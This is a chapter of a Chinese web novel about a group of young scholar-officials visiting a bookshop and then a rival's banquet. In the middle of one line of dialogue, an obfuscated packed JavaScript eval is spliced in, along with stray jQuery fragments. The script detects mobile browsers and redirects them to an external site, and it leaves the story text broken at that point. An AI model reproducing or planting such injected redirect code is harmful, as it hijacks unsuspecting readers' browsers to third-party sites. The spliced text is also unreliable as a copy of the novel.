自在书斋。


    京城内最大、书目最丰富、藏书广泛的书坊内，三三两两的书生围在一起小声地探讨着书卷中的内容，并不杂乱也不吵闹，也算怡然自得。


    “这本书终于让我找到了。”东方泽激动地抽出一本古籍当即就翻了两页爱不释手。


    “不错。”焦元正凑过来看了眼书封点了点头，扭头在附近书架上找了片刻可惜没再找到第二本，只好跟东方泽商量，“润行看完借我誊抄一本吧。”


    “没问题！”


    东方泽只看了两页以证自己没找错，就高兴地抱在怀里准备去付钱了。


    乔新知也美滋滋地淘到了几本由其他书生手抄而成的便宜书籍，小跑过来跟他们汇合。


    “沅汐呢？怎么一进来就不见了他？”


    “不知……”东方泽转了一圈也没看见她人，正欲往里走去找找，却突然被人拦了下来。


    一位衣着华贵的少年郎拦在他们仨人身前，少年郎满脸歉意地看着东方泽，目光时不时瞥向他怀中的那本孤本书籍。


    “这位兄台不知能否割爱？小弟找这本古籍也已遍寻许久，实在是无法忘怀这才厚着脸皮问询。”他观这三位便服并不起眼，还留意到其中两人逛了许久只看书并无意买书，而另一人更是在货台最最便宜的手抄本摊子上挑来挑去最终挑选出一些瑕疵本来。


    就觉得这几人或许是寒门子弟，咬了咬牙才做出拦人的举动。


    “我愿以五倍的价格购买！”


    东方泽一愣，没想到自己还有被别人砸银子的一天。


    可他的愣怔却被少年郎当作有所松动的犹豫，少年郎当即再接再厉，“小弟还愿意托人手抄一本给诸位兄台，不知可否？”


    “不不不……”东方泽连连摆手，“这本书在下也属意许久恐不能割爱了，还望兄台海涵。”


    少年郎沮丧着耷拉下肩膀，正当他们三人要越过他时，他又强打起精神尝试着再努力一把。


    “那……那小弟愿意用其他书卷与兄台交换呢？”


    他言语急促声音也不由自主地略抬高了些，旁边也有些书生听见了，目光投过来寻个热闹。


    “我、我愿用《连归》、《乾言易星》……”少年郎一连说出数本比较难寻的古籍名称，“我还有裴三元在瀚海蓟门书院、江南万籁书院还有国子监等，所有发表过的文章和批注，春闱前他在国子监讲学与诸位才子斗文的文章，我也全都有收录！”


    “嚯——”


    此言一出，半个书斋的人都有意无意地围了过来。这可不是其他，这可是裴三元裴今遥的文章啊！连她少时在外求学的文章都有，可见是费了极大的心力！老实说，他们也很想要啊！！


    “呃……”


    东方泽、焦元正和乔新知脸色变得很奇怪，说没兴趣吧也挺有兴趣的，说有兴趣吧没准他们可以直接向裴今遥讨要。


    “这位兄台你还想要什么书吗？没准我有啊！”周围人热情地招呼着。


    可少年郎却摇摇头，直盯着东方泽看。


    东方泽张合着嘴正要拒绝，裴今遥抱着几本书不知道从哪里转了过来，没注意此处气氛的古怪，径直走向他三人。


    “焦兄、东方兄、乔兄，我挑好了你们呢？”


    “我也好了！”乔新知第一个回答。


    “差不多了。”焦元正一本没挑，此处与翰林院相比书目就少得可怜了，大部分都能在那找到少部分找不到的也多是些令人看不上眼的书籍，整个书斋他最想要的也就东方泽找到的那本了。


    “实在抱歉，这本书在下正需要实在是无法割爱。”东方泽再次申明后就不再多说什么了，几人走向柜台准备付钱走人。


    等他们付完银钱离开了书斋，那少年郎猛然惊醒三两步直冲柜台，劈头盖脸就是一顿急促地输出：“掌柜的，刚刚月白色衣袍的那位买了什么书？全部给我来上一……不，请给我全都来上三本！！那青衣男子买的手抄本也各要一本！！！”


    他这一动瞬间也激起了其他人，纷纷涌向柜台争先恐后地也要买书。


    “我也要我也要！”


    “掌柜的我要五本。”


    “什么书什么书？要不你说说名字我自己去拿好了！”


    “什么情况？”有旁的不知情者被这声势浩大的情景吓了一跳，紧锁着眉头，吵吵闹闹的。


    末尾的书生扭头看了他一眼有些怜悯，等排到他绝对没存货了，于是也就没藏着掖着。


    “裴三元！裴大人你该知道吧！他刚刚来这买了好几本书，这不大家都想看看能得裴大人青眼的是什么书，肯定大有来头，反正我要买上几本回去研读！”


    “真的假的？！”那人惊讶地瞪大了眼睛，嘴上还犹疑着身子却诚实地自发排在了队伍的末尾。


    不一会儿，一传十十传百的，自在书斋人满为患已排起了长龙，还有聪明的打听到书名后转身就去了别的书坊，另辟蹊径。


    别的不说，反正书斋掌柜是乐得只见牙不见眼了，尤其是沉积的手抄本、瑕疵本也通通乘着这阵东风全都卖光了。


    裴今遥几人毫无知觉，从自在书斋出来走了数十步就到了泰和酒楼。


    难得的休沐日，几人约好一同出门既是许久未见也是为裴今遥升官庆祝一番。


    “也没多久没见啊。”乔新知无情戳破，想相约出游就出游呗，哪里就许久未见了。


    东方泽翻了个白眼，怎么天天怼他啊。


    焦元正突然啊了一声，引得其余三人唰唰唰地看向他。


    “方才那人是打算用钱从润行手中买书吗？”


    “什么？”裴今遥没在并不知晓。


    东方泽无奈扶额，乔新知掐指一算，从事发到现在已过去大半炷香的时间，焦元正终于反应过来了。


    “有进步！”乔新知夸赞道。


    要知道这位可是曾经被人挑衅到面前，也毫无知觉直到过了三天三夜才后知后觉的存在。


    当初会试高中第二名，同年恭贺焦元正也一脸不知所谓，还被人背后骂过目中无人高傲自大，只有熟悉之人才知道他压根没转过弯来。


    官场果然练其心智，这不才半炷香时间就反应过来了。


    “你这脑子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833125|175228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也就放在文章上了。”东方泽咬牙，会试没考过这两人就算了殿试还是一样的排名，偏偏这两人还都是奇葩。


    裴今遥听他们三言两语地说了一遍，也不禁笑出声来，倒不是笑焦元正而是笑话东方泽。


    “这少年郎很有你的风采嘛。”


    这揶揄的话语让焦元正和乔新知也乐了，东方泽当时也干过这事，当时那个倒霉的被人用银子砸的恰好是裴今遥，两人也算是不“打”不相识吧。


    东方泽坚决不承认自己曾经干过这么愚蠢的事情。


    几人踏进泰和酒楼，就发现酒楼内好似不同寻常。


    “哟，裴大人、焦大人、东方大人、乔大人。”一楼好似被人包了场，俱是他们熟悉的同年进士，刚进去就被人发现了立刻有人夸张地起身行礼。


    莫名有些讽刺意味。


    “裴兄你们也是来赴宴的吗？”对他们友善的也不在少数，好几个人迎了上来挡住了一开始说话地那人，“路兄他们都返京了，许久不见，正好孟兄牵头组了宴席，还以为你们有事来不了了呢。”


    裴今遥几人不着痕迹地交换了个眼色：


    ‘叫咱们了吗？’


    ‘并没有……’


    ‘嗤——孟清禹会请咱们？想多了吧。’


    ‘好多人啊。’


    排去还没理清楚情况的焦元正，裴今遥三人眼神交流间就明白了这是怎么个事。


    “许久未见了。”裴今遥笑着跟他们聊了几句。


    或许是入了或将入官场，对面的几位同年对着她说话都毕恭毕敬的，比起同年更像是面对着难以企及的官员前辈。


    他们留在京城的都是通过了馆选的庶吉士，说得再好听也改变不了他们也不过是入不了品级的候补官员身份，比起焦元正和东方泽都不过，更别提如今已成从四品的裴今遥了。


    态度自然与以往天差地别，哪怕心中羡慕嫉妒也不敢表露啊。


    “裴今遥！你怎么在？！”


    几人攀谈间，孟清禹带着人从二楼下来，人群之中瞬间就盯上了裴今遥，脸色唰的一下就沉了下来。


    他身后一人赶紧扯了扯他的手臂，让他不要失了态，今时不同往日。


    孟清禹也知道脸色虽然还难看，倒也没再当众发飙。


    “裴大人！！”


    忽然一道惊喜地声音从他背后传来，孟清禹眼睁睁地看着弟弟孟修阳无比兴奋地掠过自己如一阵风般飞快的跑到裴今遥面前，乖巧地如同换了个人似的。


    “裴大人您也来了！”孟修阳像一只蜜蜂绕着裴今遥转来转去，别提多高兴了。


    裴今遥抬眼看了看孟清禹，发觉他的脸色果然更难看了，不可置信地盯着孟修阳恨不得把他拖回来。


    她挑了挑眉。


    “听闻你前几日在国子监的考核中拔得了头筹。”


    孟修阳没想到她连这个都知道，喜不自胜，“学生侥幸罢了，学官也说我只是破题有些新意切入的剑走偏锋，若是换个阅卷官说不准还觉得我偏题了呢。”


    “哦，说来听听。”裴今遥反而有了几分兴趣。